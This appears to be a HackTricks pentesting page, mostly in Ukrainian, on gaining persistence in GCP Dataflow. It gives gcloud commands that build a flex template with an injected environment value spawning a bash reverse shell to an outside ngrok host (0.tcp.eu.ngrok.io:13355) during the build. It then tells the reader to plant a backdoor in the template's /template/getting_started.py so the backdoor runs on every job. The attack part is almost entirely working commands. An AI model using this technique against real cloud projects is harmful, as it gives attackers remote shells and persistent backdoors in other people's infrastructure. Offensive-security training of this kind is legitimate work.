# GCP - Dataflow Персистентність

{{#include ../../../banners/hacktricks-training.md}}

## Dataflow

### Невидима персистентність у збудованому контейнері

Дотримуючись [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:

<details>

<summary>Створити Dataflow flex template with backdoor</summary>
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
</details>

**Під час складання ви отримаєте reverse shell** (ви можете зловживати env variables, як у попередньому прикладі, або іншими параметрами, що змушують Docker file виконувати довільні речі). У цей момент, всередині reverse shell, можна **перейти до каталогу `/template` та змінити код основного python-скрипта, який буде виконано (у нашому прикладі це `getting_started.py`)**. Розмістіть тут свій backdoor, щоб щоразу при виконанні job він виконувався.

Тоді, наступного разу коли job буде виконано, буде запущено скомпрометований контейнер, який було зібрано:

<details>

<summary>Запустити Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
</details>

{{#include ../../../banners/hacktricks-training.md}}